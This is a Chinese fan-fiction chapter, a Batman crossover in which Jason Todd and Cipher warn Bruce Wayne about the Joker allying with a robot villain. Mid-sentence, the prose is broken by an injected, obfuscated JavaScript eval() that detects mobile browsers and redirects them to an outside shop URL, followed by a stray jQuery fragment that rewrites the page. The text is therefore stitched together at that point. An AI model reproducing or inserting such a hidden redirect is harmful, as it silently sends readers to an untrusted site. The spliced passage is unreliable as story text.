哥谭东区，凌晨一点。
杰森·陶德把一个人按在墙上，力度不大不小，刚好够让对方的脸贴着砖面、脚尖踮着地面、呼吸变调。身后的巷子里横七竖八地躺着四五个家伙，有的已经不出声了。
“谁让你来的？”杰森的声音从头盔的变声器里传出来，没有感情，没有起伏，像一个被录好了反复播放的问句。
被按在墙上的那个家伙嘴唇抖了几下，吐出几个含混不清的音节。
“企……企鹅……”
杰森把他的脸往墙上又按了一寸。“企鹅人让你在东区开作坊？他是不是觉得我最近太闲了？还是之前那两个家伙没威慑到他？”
那家伙说不出话了。不是不想说，是说不了。杰森盯着他的后脑勺看了一秒，然后松开手。那家伙像一袋被扔在地上的面粉一样瘫软下去，和躺在地上的那几个人叠在一起。杰森退后一步，从口袋里掏出一块手帕，擦了擦手套上并不存在的灰。不是真的在擦，是一种习惯，一种收尾的动作，告诉他身边的人“这件事结束了”。
“把这几个人处理了。”他朝旁边的手下偏了偏头。
身后几个人应了一声，开始把地上那些家伙拖走。
杰森转过身，背靠着巷子的墙壁，把手帕塞回口袋。他的头盔在路灯的光线下泛着暗红色的光泽，像一颗刚从火里捞出来的心脏。东区的夜风从港口那边吹过来，带着海水的腥味和他身后那条巷子里淡淡的火药味。
他正准备往巷口走。
一道银白色的影子从巷口上方落下来，轻得像一片被风吹下来的叶子。落地的瞬间没有声音，但有一道风从杰森脸侧擦过去——不冷，不快，刚好够让他注意到。然后他听到了身后传来一声闷响，和一声不太友好的谩骂。
杰森转过头。
一个穿着连帽衫的男人趴在他刚才站的位置后面大约两米的地方，脸朝下，四肢摊开，像一只被拍扁的虫子。他的手里还握着一把刀，刀尖在路灯下闪了一下，然后被一只穿着铁色长靴的脚从旁边踢开了。
“不用谢我，大红。”
赛飞儿蹲在旁边那辆废弃轿车的车顶上，两只手托着腮，蓝色的眼睛在路灯下弯成了两道月牙。
杰森看着她，没有动。
“你怎么在这？”他的声音从变声器里传出来。
“来找你的。”赛飞儿从车顶上跳下来，“有很重要的事要和你说。”
杰森看了她一眼。她的表情和平时不一样。没有狡黠与玩味。是一种更认真的表情。
杰森转向旁边的手下。“这里你们处理。我先走了。”
他的手下点了点头，看了一眼赛飞儿，又看了一眼杰森，识趣地没有多问。杰森朝巷子另一头走去，赛飞儿跟在他旁边，两个人一前一后地穿过几条街，走过一盏又一盏路灯，影子从长变短、从短变长，在哥谭灰蒙蒙的路面上交替着。
杰森把她带到了他的地盘。不是那个废弃仓库，是一个更隐蔽的地方——东区一栋旧公寓的顶层，门锁是杰森自己换的，钥匙只有他自己有。房间里没什么东西，一张床，一张桌子，一把椅子，墙上钉着几份哥谭的地图，桌上摊着一本翻到一半的书。赛飞儿环顾了一圈，没有评价，在椅子上坐下来。
“说吧。”杰森靠在桌边，双手抱胸，头盔还没摘，暗红色的面罩对着她。
赛飞儿的目光在他头盔上停了一下。
“你不好奇我为什么这么晚来找你？”
“你做事不需要理由。”
“我有理由的。”赛飞儿的声音低了下来，那种不正经的语气从她身上褪去了，像一层被揭下来的包装纸，“小丑和一个超级大反派联手了。”
杰森的身体没有动，但他抱着的手臂微微收紧了一些。
“那个大反派，叫来古士，是个机器人。”赛飞儿的语速不快不慢，像在讲述一个她已经反复梳理过很多遍的故事，“他被困在某个地方，出不来。但他的力量很强。如果小丑能使用那种力量——”
她没有说完。杰森替她说完了。
“哥谭会变成地狱。”
赛飞儿点了点头。
杰森沉默了几秒。他的头盔里听不到呼吸声，但赛飞儿能感觉到他在思考。
“我会让蝙蝠侠最近盯好小丑。”杰森说。
赛飞儿眨了眨眼，“你主动联系他？”她的语气带着一丝试探。
杰森没有回答。
但他的心里有一个声音在说——没想到第一次主动给老蝙蝠发消息，竟然是为了一个朋友的事。
杰森把手放下来，站直了身体。
“要不要去找那家伙一趟？”他看着赛飞儿。
“哪个家伙？”
“蝙蝠侠。”
赛飞儿的嘴微微张开了，“你要带我去找他？”
“先说好。”杰森的语气没有任何商量的余地，“这是还你的人情。我就在一旁看着，你和他说。”
赛飞儿的嘴角慢慢弯了起来，弯成一个她最擅长的就是弧度。
“好嘞。”
杰森转过身，从墙上取下他的皮夹克。赛飞儿在他身后从椅子上站起来，把椅子推回桌边——不是因为她讲究，是因为她在翁法罗斯的时候被阿格莱雅念叨过太多次“椅子用完要归位”，这个习惯已经刻进骨头里了。
“大红。”她叫了他一声。
杰森偏过头。
“你的头盔，能不能不戴？”
杰森的手在头盔的边缘停了一下。
“我的意思是，”赛飞儿的语气轻快了一些，但不是那种不认真的轻快，“去见蝙蝠的话，至少得诚信一点吧？穿着那身战甲、戴着那个红脑袋，跟他说‘我是来跟你谈正事的’——你觉得他会信吗？”
杰森沉默了片刻。他把头盔摘了下来，露出一张线条分明的脸。蓝色的眼睛在房间昏暗的灯光下显得比平时更深了一些，额前那缕白色的刘海垂下来，遮住了半只眼睛。他的表情看不出什么，但赛飞儿注意到他把头盔放到桌上的时候，手指在红色的金属表面上停留了一瞬，像是在做一个他自己也不太确定的决定。
赛飞儿也把自己的斗篷帽兜拉了下来，猫耳从帽兜里弹出来。
“走吧。”她笑着说，”正好，你不是一直想试试'神速力'吗？”
下一秒，杰森感觉整个世界变成了一道模糊的光带。
不是跑，不是飞，是一种他无法用语言描述的速度。哥谭的街道在他两侧被拉成无数条灰黑色的线条，路灯变成一串连在一起的光珠，夜风不是吹过来的——是撞过来的，撞在他的脸上、身上、手臂上，像无数根细细的针同时扎进皮肤。他的胃在那一瞬间被甩在了身体的后面，然后又被拽回来，然后又被甩出去。
杰森闭上嘴，因为他觉得如果张着嘴，胃可能会从喉咙里翻出来。
大约十秒后，世界恢复了正常的形状。
杰森的双脚踩在了实地上。不是东区的水泥地，是草坪。修剪整齐的、踩上去软绵绵的、带着露水的草坪。韦恩庄园的草坪。
他弯下腰，双手撑在膝盖上，深深地吸了一口气，又呼出来。
“你——”他的声音有点哑，“能不能提前说一声？”
赛飞儿站在他旁边，呼吸平稳得像什么都没发生过。“说了你就不让我带了。”
杰森直起腰，瞪了她一眼。赛飞儿无辜地眨了眨眼。
然后他看到了蝙蝠侠。
布鲁斯·韦恩站在庄园的车道上，距离他们大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597092|203960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
约十米。他刚从夜巡中回来，蝙蝠战衣还穿在身上，披风在夜风中微微翻动。他的头罩没有摘，那两只眼睛正对着他们的方向。
三个人站在韦恩庄园的草坪上，凌晨的风从他们之间穿过去，带着露水的湿气和远处哥谭市区的微弱灯光。
杰森看了赛飞儿一眼。赛飞儿看了杰森一眼。两个人同时把头转回去，面对蝙蝠侠。
“真巧啊。”赛飞儿说，语气轻快得像在跟邻居打招呼，“这是我们第二次见面了！要不进去说？”
蝙蝠侠没有动。他的目光从赛飞儿脸上移到杰森脸上，又从杰森脸上移回赛飞儿脸上。他的嘴唇在头盔下面动了一下。
蝙蝠侠的通讯器里，阿尔弗雷德的声音不急不慢地传了出来。
“布鲁斯少爷，我建议您让他们进去。站在草坪上谈话既不舒适，也不安全。”
布鲁斯沉默了一秒。
“走。”他说，转身朝庄园大门走去。
赛飞儿跟在后面，杰森走在最后。三个人穿过大门，走过那条铺着深色木地板的走廊，穿过客厅，走到布鲁斯平时不太会带“客人”来的那间书房。书房的壁炉没有生火，但灯开着，暖黄色的光把每一个角落都照得清清楚楚。
布鲁斯站在书桌后面，没有坐下。
“……杰森。”他说了一个名字。没有多余的话，就是一个名字，像在确认他是真实存在的，不是监控画面里的一个模糊的黑影，不是红头罩头盔下的一个传说。
“我朋友找你有事。”杰森的声音平得像一面镜子，“顺便一提，他清楚你的底细。”
书房安静了一瞬。壁灯的光落在三个人身上，杰森靠在门边的墙上，双臂抱胸。布鲁斯站在书桌后面，黑色的蝙蝠战甲在暖黄色的灯光下显得比平时柔和了一些，但那种压迫感还在。
赛飞儿站在书桌前面，看看杰森，又看看布鲁斯，在心里默默地、用只有自己能听到的音量说了一句——总感觉误入了什么不得了的场合。
赛飞儿在书桌对面的椅子上坐下来，姿势端正得像一个来面试的求职者。杰森没有坐，还是靠在墙上，但他的目光从天花板移到了布鲁斯脸上。
“小丑和一个高危反派联手了。”赛飞儿开门见山，“那个反派的名字，你可能没听过——来古士。他被困在某个地方，出不来，但他有能力和别人交流。”
布鲁斯的目光沉了一下。
“你怎么知道的？”
“小丑亲口说的。”赛飞儿说，没有提到白厄的名字，“上周，有人去阿卡姆探路的时候碰到了他。他自己说的。”
“谁去的？”
“当然是我的另一位伙伴——就是上了新闻的那个黑衣人。总之你只需要知道——小丑见过来古士，来古士的力量很强。如果小丑能使用那种力量——”
“我会盯着他的。”布鲁斯的声音不大，但那种语气很坚定。
赛飞儿看着他，看了一秒，决定把那句“你就不问问那个反派是什么来头吗”咽了回去。因为她知道，蝙蝠侠说的“我会盯着他”不只是一个承诺，更是一个拒绝——拒绝在她的信息网里露出破绽，拒绝让她知道他下一步会做什么。
杰森靠在墙上，没有动。但他的存在本身就在说话。不需要开口，不需要表情，他站在那里，布鲁斯就不会问那些他平时一定会问的问题——你是谁，你从哪来，你的能力是什么，你的同伙是谁。因为杰森在这里，布鲁斯不能问。
赛飞儿在心里给自己默默记了一功。
“我们对哥谭没有恶意。”她站起来，看着布鲁斯，蓝色的眼睛在书房暖黄色的灯光下显得很亮，“那个来古士，是我们的敌人。所以在这件事上，我们和你的目标是一致的。你不用担心我们。”